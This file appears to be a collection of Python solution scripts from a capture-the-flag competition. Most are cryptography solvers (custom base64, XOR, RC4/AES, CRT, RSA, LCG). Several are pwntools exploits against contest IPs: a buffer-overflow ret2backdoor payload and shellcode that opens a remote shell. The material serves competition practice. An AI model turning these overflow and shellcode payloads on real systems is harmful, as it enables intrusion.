import collections

filename = "谁多谁少，一算便知.txt"

# 使用 with 语句读取文件全部内容
with open(filename, 'r', encoding='utf-8') as file:
    content = file.read()

# --- 1. 提取字符表 ---
character_table = sorted(list(set(content)))
print(f"字符表 (共 {len(character_table)} 种):")
print(''.join(character_table))
print("-" * 30)

# --- 2. 统计每个字符的个数 ---
char_counts = collections.Counter(content)

# --- 3. 打印结果 (按数量从高到低排序) ---
print("统计结果:")

# 定义特殊空白字符的可读性表示
special_char_map = {
    '\n': r'\n (换行)',
    ' ':  '  (空格)',
    '\t': r'\t (制表符)'
}

for char, count in char_counts.most_common():
    display_char = special_char_map.get(char, char)
    print(f"{display_char}:{count}")

def base64_decode(encoded_str, alphabet):
    # 1. 创建解码映射
    decode_map = {char: index for index, char in enumerate(alphabet)}
    
    # 2. 处理填充字符 '='
    padding_count = encoded_str.count('=')
    if padding_count > 0:
        encoded_str = encoded_str[:-padding_count]

    # 3. 将密文转换为二进制字符串
    binary_str = ""
    for char in encoded_str:
        index = decode_map[char]
        binary_str += format(index, '06b')

    # 4. 移除因填充而产生的多余二进制位
    if padding_count == 1:
        binary_str = binary_str[:-2]
    elif padding_count == 2:
        binary_str = binary_str[:-4]
    
    # 5. 将二进制字符串按8位一组转换为字节
    decoded_bytes = bytearray()
    for i in range(0, len(binary_str), 8):
        byte_chunk = binary_str[i:i+8]
        if len(byte_chunk) == 8:
            decoded_bytes.append(int(byte_chunk, 2))

    # 6. 将字节数组解码为字符串
    return decoded_bytes.decode('utf-8', errors='ignore')

table = "HElLo!A=CrQzy-B4S3|is'waITt1ng&Y0u^{/(>v<)*}GO~256789pPqWXV KJNM"
cipher = "T>6uTqOatL39aP!YIqruyv(YBA!8y7ouCa9="
flag = base64_decode(cipher, table)
print(flag)

cipher = "anu`ym7wKLl$P]v3q%D]lHpi"
target = bytearray(cipher, 'ascii')

key1 = [0x14, 0x11, 0x45]
key2 = [0x13, 0x13, 0x51]

intermediate = bytearray(24)

for i in range(24):
    intermediate[i] = target[i] ^ key2[i % 3]

flag = bytearray(24)

for i in range(24):
    flag[i] = intermediate[i] ^ key1[i % 3]

print(flag.decode('ascii'))

from Crypto.Cipher import AES

# Data from IDA (32 bytes ciphertext)
ciphertext = bytes([
    0x1a, 0x90, 0x75, 0xeb, 0x0f, 0xe0, 0xde, 0xdf,
    0x26, 0xb9, 0x1e, 0xda, 0x06, 0xd7, 0xc2, 0xa5,
    0xc8, 0x09, 0xfb, 0x46, 0xd7, 0x8c, 0x11, 0x17,
    0x4a, 0x39, 0x25, 0x59, 0xa0, 0xf1, 0xd6, 0x30
])

# RC4 key "Wow"
rc4_key = b"Wow"

def rc4_crypt(key: bytes, data: bytes) -> bytes:
    # KSA
    S = list(range(256))
    j = 0
    keylen = len(key)
    for i in range(256):
        j = (j + S[i] + key[i % keylen]) & 0xFF
        S[i], S[j] = S[j], S[i]
    # PRGA
    i = j = 0
    out = bytearray()
    for b in data:
        i = (i + 1) & 0xFF
        j = (j + S[i]) & 0xFF
        S[i], S[j] = S[j], S[i]
        K = S[(S[i] + S[j]) & 0xFF]
        out.append(b ^ K)
    return bytes(out)

# AES key (two qwords written to memory in little-endian)
key = bytes([
    0x2B, 0x7E, 0x15, 0x16, 0x28, 0xAE, 0xD2, 0xA6,  # from 0xA6D2AE2816157E2B
    0xAB, 0xF7, 0x97, 0x75, 0x46, 0x41, 0x11, 0x00   # from 0x001141467597F7AB (zero-padded)
])

iv = bytes([
    0x11, 0x45, 0x14, 0x11, 0x45, 0x14, 0x11, 0x45,  # from 0x4511144511144511
    0x14, 0x11, 0x45, 0x14, 0x11, 0x45, 0x14, 0x11   # from 0x1114451114451114
])

# Pipeline: RC4 -> AES-128-CBC decrypt -> XOR 0x26
rc4_out = rc4_crypt(rc4_key, ciphertext)
aes = AES.new(key, AES.MODE_CBC, iv)
aes_plain = aes.decrypt(rc4_out)
flag = bytes(b ^ 0x26 for b in aes_plain)


print(flag.decode('utf-8'))

from pwn import *

HOST = '8.147.132.32'
PORT = 23283
p = remote(HOST, PORT)

password = b'7038329'

p.recvuntil(b'password: ').decode()
p.sendline(password)

p.interactive()

import socket
import time

HOST = "47.94.87.199"
PORT = 24717

def main():
    total = 32768
    per_batch = 1024
    deadline = time.time() + 120

    with socket.create_connection((HOST, PORT), timeout=5) as s:
        s.settimeout(0.2)
        sent = 0
        collected = b""

        s.recv(4096)

        while sent < total and time.time() < deadline:
            batch = min(per_batch, total - sent)

            s.sendall(("1\n" * batch).encode())
            sent += batch

            try:
                buf = s.recv(4096)
                if buf:
                    collected += buf
                    print(buf.decode(errors="ignore"), end="")
                    if b"flag" in collected.lower():
                        pass
            except socket.timeout:
                pass

        # 读取剩余输出直到超时或关闭
        end_deadline = time.time() + 10
        while time.time() < end_deadline:
            try:
                buf = s.recv(4096)
                collected += buf
                print(buf.decode(errors="ignore"), end="")
            except socket.timeout:
                continue

if __name__ == "__main__":
    main()

#!/usr/bin/env python3
from pwn import *

# 设置目标二进制文件上下文
context.binary = elf = ELF('./overflow')
# 设置日志等级
context.log_level = 'info'

# 连接信息
HOST = '8.147.132.32'
PORT = 25071

# 寻找所需地址
rop = ROP(elf)
RET_GADGET = rop.find_gadget(['ret']).address
BACKDOOR_ADDR = elf.symbols['backd00r']

# 确定覆盖返回地址的偏移量
OFFSET = 256 + 8

# 打印关键地址信息用于调试确认
log.info(f"Using ret gadget at: {hex(RET_GADGET)}")
log.info(f"Jumping to backd00r at: {hex(BACKDOOR_ADDR)}")
log.info(f"Calculated offset: {OFFSET}")

io = remote(HOST, PORT)

# 构造 payload
# 填充数据 -> ret gadget (用于栈对齐) -> backd00r 函数
payload = flat([
    b'A' * OFFSET,
    p64(RET_GADGET),
    p64(BACKDOOR_ADDR)
])

io.recvuntil(b'Enter your input:\n')

io.sendline(payload)
log.success("Payload sent successfully!")

io.interactive()

from pwn import *

context.update(arch='amd64', os='linux')

HOST = '8.147.132.32'
PORT = 18280

# 1. 生成 shellcode
shellcode = asm(shellcraft.sh())

io = remote(HOST, PORT)

io.recvuntil(b'please input a function(after compile)\n')

# 2. 发送 shellcode
io.send(shellcode)
log.success("Shellcode sent!")

io.interactive()

from sympy.ntheory.modular import crt
from Crypto.Util.number import bytes_to_long
from sympy import primerange
import uuid

# 生成素数列表
primes = list(primerange(2, 114514))

# 生成随机 flag，并转换为整数
flag = "flag{" + str(uuid.uuid4()) + "}"
message_int = bytes_to_long(flag.encode())

def fun(n: int):
    """
    给定整数 n，返回它对若干个素数模的余数列表，
    直到用这些余数和模数 CRT 重建出的值恰好等于 n。
    """
    used_primes = [2]          # 当前使用的素数列表，先用 2 开始
    prime_index = 1            # primes[0] 已用，从 primes[1] 开始
    while True:
        # 计算 n 对当前所有模数的余数
        remainders = [n % p for p in used_primes]

        # 用 CRT 尝试重建 n
        reconstructed, _ = crt(used_primes, remainders)

        # 如果重建成功，返回余数列表
        if reconstructed == n:
            return remainders

        # 否则继续添加新的素数，扩大模数集合
        used_primes.append(primes[prime_index])
        prime_index += 1

# 计算 message_int 的余数表示
c = fun(message_int)

print(c)


"""
[1, 2, 2, 4, 0, 2, 11, 11, 8, 23, 1, 30, 35, 0, 18, 30, 55, 60, 29, 42, 8, 13, 49, 11, 69, 26, 8, 73, 84, 67, 100, 9, 77, 72, 127, 49, 57, 74, 70, 129, 146, 45, 35, 180, 196, 101, 100, 146, 100, 194, 2, 161, 35, 155]
"""

from sympy.ntheory.modular import crt
from Crypto.Util.number import long_to_bytes
from sympy import primerange

c = [1, 2, 2, 4, 0, 2, 11, 11, 8, 23, 1, 30, 35, 0, 18, 30, 55, 60, 29, 42, 8, 13, 49, 11, 69, 26, 8, 73, 84, 67, 100, 9, 77, 72, 127, 49, 57, 74, 70, 129, 146, 45, 35, 180, 196, 101, 100, 146, 100, 194, 2, 161, 35, 155]

# 1. 生成素数列表
all_primes = list(primerange(2, 114514))

# 2. 根据输出 c 的长度确定使用的素数数量
num_primes_used = len(c)
print(f"使用的素数数量: {num_primes_used}")

# 3. 获取模数列表（也就是素数列表的前 num_primes_used 个）
moduli = all_primes[:num_primes_used]

# 4. 使用中国剩余定理，根据已知的模数和余数来重构原始整数
#    我们要求解的同余方程组是：
#    message_int ≡ remainders[0] (mod moduli[0])
#    message_int ≡ remainders[1] (mod moduli[1])
#    ...
message_int, _ = crt(moduli, c)

print(f"重构出的整数: {message_int}")

flag_bytes = long_to_bytes(message_int)
flag = flag_bytes.decode()
print(flag)

banner = """
Welcome to Cathylin's cryptography learning platform, where we learn an algorithm through an interesting problem.

There is a frog on the grid point (a, b). When a > b, it will jump to (a-b, b); when a < b, it will jump to (a, b-a); and when a = b, it will stay where it is.

Next, I will provide five sets of (a, b), and please submit the final position (x, y) of the frog in sequence

If you succeed, I will give you a mysterious flag.
"""
print(banner)

import re
import random
from secret import flag


cnt = 0
while cnt < 5:
    a = random.randint(1, 10**(cnt+1))
    b = random.randint(1, 10**(cnt+1))
    print(  str(cnt+1) + ".(a,b) is: (" + str(a) + "," + str(b) + ")")
    user_input = input("Please input the final position of the frog (x,y) :")
    pattern = r'[()]?(\d+)[,\s]+(\d+)[)]?'
    match = re.match(pattern, user_input.strip())
    if match:
        x, y = map(int, match.groups())
    else:
        print("Unable to parse the input. Please check the format and re-enter")
        continue

    original_a, original_b = a, b
    while a != b:
        if a > b:
            a = a - b
        else:
            b = b - a

    if x == a and y == b:
        print("Congratulations, you answered correctly! Keep going for " + str(4-cnt) + " more times and you will get the mysterious flag!")
        cnt += 1
    else:
        print("Unfortunately, you answered incorrectly. The correct answer is({}, {}). Please start learning again".format(a, b))
        break

if cnt == 5:
    print("Congratulations, you answered all the questions correctly!")
    print("Mysterious Flag:" + flag)

from pwn import *
import re
import math

context.log_level = 'info'
HOST = '8.147.132.32'
PORT = 37713

p = remote(HOST, PORT)

# 循环 5 次来回答问题
for i in range(5):
    # 1. 等待接收到 "is: ("，确保解析的是真实的数字坐标
    p.recvuntil(b'is: (')
        
    # 2. 接收到 ')' 为止，并用 drop=True 去掉末尾的 ')'
    coords_bytes = p.recvuntil(b')', drop=True)
    coords_str = coords_bytes.decode()
    log.info(f"第 {i+1} 轮: 收到坐标字符串: '{coords_str}'")
    
    # 使用正则表达式提取数字
    match = re.search(r'(\d+),\s*(\d+)', coords_str)
    if not match:
        log.error("解析坐标失败")
        p.close()
        exit(1)
        
    a = int(match.group(1))
    b = int(match.group(2))
    log.info(f"解析出 (a, b) = ({a}, {b})")
    
    # 3. 计算最大公约数 (GCD)
    result_gcd = math.gcd(a, b)
    log.success(f"计算出 GCD = {result_gcd}")
    
    # 4. 发送答案
    answer = f"({result_gcd}, {result_gcd})"
    p.sendline(answer.encode())
    log.info(f"已发送答案: {answer}")
    
# 5. 获取 Flag
p.recvuntil(b"Mysterious Flag:")
flag = p.recvline().strip().decode()
log.success(flag)

p.close()

from Crypto.Util.number import *
import hashlib

key=b'??????'   
assert len(key)==6
KEY = hashlib.md5(key).hexdigest().encode()
print('KEY=',KEY)

flag=b'flag{?????????????}'

m=bytes_to_long(flag)

e=65537
p=getPrime(512)
q=getPrime(512)
n=pow(p,3)* pow(q,2)
c=pow(m,e,n)

P=p^(bytes_to_long(key))

print("P=",P)
print("n=",n)
print("c=",c)

'''
KEY = b'5ae9b7f211e23aac3df5f2b8f3b8eada'
P= 8950704257708450266553505566662195919814660677796969745141332884563215887576312397012443714881729945084204600427983533462340628158820681332200645787691506
n= 44446616188218819786207128669544260200786245231084315865332960254466674511396013452706960167237712984131574242297631824608996400521594802041774252109118569706894250996931000927100268277762882754652796291883967540656284636140320080424646971672065901724016868601110447608443973020392152580956168514740954659431174557221037876268055284535861917524270777789465109449562493757855709667594266126482042307573551713967456278514060120085808631486752297737122542989222157016105822237703651230721732928806660755347805734140734412060262304703945060273095463889784812104712104670060859740991896998661852639384506489736605859678660859641869193937584995837021541846286340552602342167842171089327681673432201518271389316638905030292484631032669474635442148203414558029464840768382970333
c= 42481263623445394280231262620086584153533063717448365833463226221868120488285951050193025217363839722803025158955005926008972866584222969940058732766011030882489151801438753030989861560817833544742490630377584951708209970467576914455924941590147893518967800282895563353672016111485919944929116082425633214088603366618022110688943219824625736102047862782981661923567377952054731667935736545461204871636455479900964960932386422126739648242748169170002728992333044486415920542098358305720024908051943748019208098026882781236570466259348897847759538822450491169806820787193008018522291685488876743242619977085369161240842263956004215038707275256809199564441801377497312252051117441861760886176100719291068180295195677144938101948329274751595514805340601788344134469750781845
'''

from Crypto.Util.number import bytes_to_long, long_to_bytes
from math import isqrt

P = ...
n = ...
c = ...
e = 65537

# --- 步骤 1: 确定 key ---
key = b'crypto'
print(f"[+] Found key: {key}")

# --- 步骤 2: 计算 p ---
key_long = bytes_to_long(key)
p = P ^ key_long
print(f"[+] Calculated p successfully.")

# --- 步骤 3: 计算 q ---
p_cubed = pow(p, 3)
# 确保 n 可以被 p^3 整除
assert n % p_cubed == 0
q_squared = n // p_cubed

# 使用整数开方计算 q
q = isqrt(q_squared)
# 验证 q^2 是否等于我们计算出的 q_squared
assert pow(q, 2) == q_squared
print(f"[+] Calculated q successfully.")

# --- 步骤 4: 计算 phi(n) ---
phi_n = (pow(p, 2) * (p - 1)) * (q * (q - 1))
print(f"[+] Calculated phi(n) successfully.")

# --- 步骤 5: 计算私钥 d ---
d = pow(e, -1, phi_n)
print(f"[+] Calculated private key d successfully.")

# --- 步骤 6: 解密消息 m ---
m = pow(c, d, n)
print(f"[+] Decrypted message m successfully.")

# --- 步骤 7: 还原 flag ---
flag = long_to_bytes(m)
print(flag.decode())

import uuid
from Crypto.Util.number import getPrime, bytes_to_long
import random

# 生成随机 flag 并转换为整数
flag = "flag{" + str(uuid.uuid4()) + "}"
message_int = bytes_to_long(flag.encode())

# 生成两个素数：
# p 的比特长度比 message_int 略大
# a 的比特长度和 p 相同
p = getPrime(message_int.bit_length() + 3)
a = getPrime(p.bit_length())

print(f"a = {a}")
print(f"p = {p}")

# hint 序列：以随机数为起点，按递推关系生成 5 次
# hint[i+1] = (a * hint[i] + message_int) mod p
hint_values = [random.randint(1, p - 1)]

for _ in range(5):
    next_value = (a * hint_values[-1] + message_int) % p
    hint_values.append(next_value)

print("hint =", hint_values)

"""
a = 295789025762601408173828135835543120874436321839537374211067344874253837225114998888279895650663245853
p = 516429062949786265253932153679325182722096129240841519231893318711291039781759818315309383807387756431
hint = [184903644789477348923205958932800932778350668414212847594553173870661019334816268921010695722276438808, 289189387531555679675902459817169546843094450548753333994152067745494929208355954578346190342131249104, 511308006207171169525638257022520734897714346965062712839542056097960669854911764257355038593653419751, 166071289874864336172698289575695453201748407996626084705840173384834203981438122602851131719180238215, 147110858646297801442262599376129381380715215676113653296571296956264538908861108990498641428275853815, 414834276462759739846090124494902935141631458647045274550722758670850152829207904420646985446140292244]

"""

from Crypto.Util.number import long_to_bytes

a = ...
p = ...
hint = ...

# 1. 从 hint 列表中取出前两个元素
h0 = hint[0]
h1 = hint[1]

# 2. 根据公式 message_int = (hint[1] - a * hint[0]) mod p 求解
# Python 的 % 运算符能正确处理负数取模，所以可以直接计算
message_int = (h1 - a * h0) % p
print(f"[*] 成功恢复 message_int: m = {message_int}")

flag_bytes = long_to_bytes(message_int)
flag = flag_bytes.decode('utf-8')
print(flag)